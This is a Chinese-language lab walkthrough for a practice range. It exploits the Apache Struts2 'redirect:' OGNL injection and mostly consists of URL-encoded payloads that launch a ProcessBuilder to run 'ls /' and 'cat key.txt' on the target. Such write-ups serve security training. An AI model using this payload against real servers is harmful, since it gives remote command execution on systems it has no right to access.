靶场地址：https://www.mozhe.cn/bug/detail/MkhJb2Jpblh4MkYrMjkrNC84UjZtUT09bW96aGUmozhe
先找出后缀为action的网页，尝试发现http://219.153.49.228:49230/index.action存在
测试是否存在漏洞,测试url：http://219.153.49.228:49230/index.action?redirect:%25{3*4}页面缺返回400，
将{3*4}进行url编码再测试一次
url:http://219.153.49.228:49230/index.action?redirect:%25%7b%33%2a%34%7d
redirect执行了表达式 证明漏洞存在
3.使用任意命令执行exp：
使用burp suite将exp进行url编码
打开http://219.153.49.228:49230/index.action?redirect:%24%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%7b%27%6c%73%27%2c%27%2f%27%7d%29%29%2e%73%74%61%72%74%28%29%2c%23%62%3d%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6d%61%74%74%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%23%65%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29%7d
返回一个文件 用记事本打开
修改执行命令 执行命令cat key.txt
打开http://219.153.49.228:49230/index.action?%24%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%7b%27%63%61%74%27%2c%27%6b%65%79%2e%74%78%74%27%7d%29%29%2e%73%74%61%72%74%28%29%2c%23%62%3d%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6d%61%74%74%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%23%65%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29%7d
返回文件 用记事本打开，获得key
Exp出处以及参考：https://www.freebuf.com/vuls/11220.html
